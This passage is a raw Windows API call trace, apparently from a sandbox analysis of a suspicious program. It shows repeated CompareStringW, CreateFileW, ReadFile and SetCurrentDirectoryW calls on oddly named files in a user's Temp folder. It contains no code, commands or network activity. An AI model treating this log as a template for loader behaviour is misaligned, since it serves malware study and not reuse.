cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.952] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.952] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.953] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.953] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.953] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.953] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.953] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.953] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.953] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.953] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.953] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.953] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.954] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.954] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.954] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.954] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.954] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.954] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.954] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.954] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.954] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.954] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.954] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.955] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.955] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.955] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.955] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.955] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.955] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.955] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.955] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.955] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.955] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.955] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.955] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.955] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.956] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.956] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.956] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.956] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.956] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.956] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.956] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.956] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.956] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.956] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.956] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.957] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.957] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.957] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.957] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.957] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.957] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.957] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.957] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.957] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.957] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.957] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.958] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.958] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.958] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.958] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.958] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.958] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.958] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.958] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.958] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.958] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.958] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.959] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.959] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.959] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.959] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.959] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.959] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.959] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.960] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.960] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.960] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.960] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.960] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.960] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.960] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.960] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.961] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.961] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.961] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.961] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.961] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.961] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.961] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.961] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.961] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.962] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.962] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.962] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.962] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.962] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.962] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.962] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.962] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.962] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.962] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.963] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.963] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.963] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.963] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.963] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.963] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.963] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.963] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.963] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.964] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.964] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.964] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.964] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.964] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.964] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.964] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.964] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.964] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.964] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.964] ReadFile (in: hFile=0x1c, 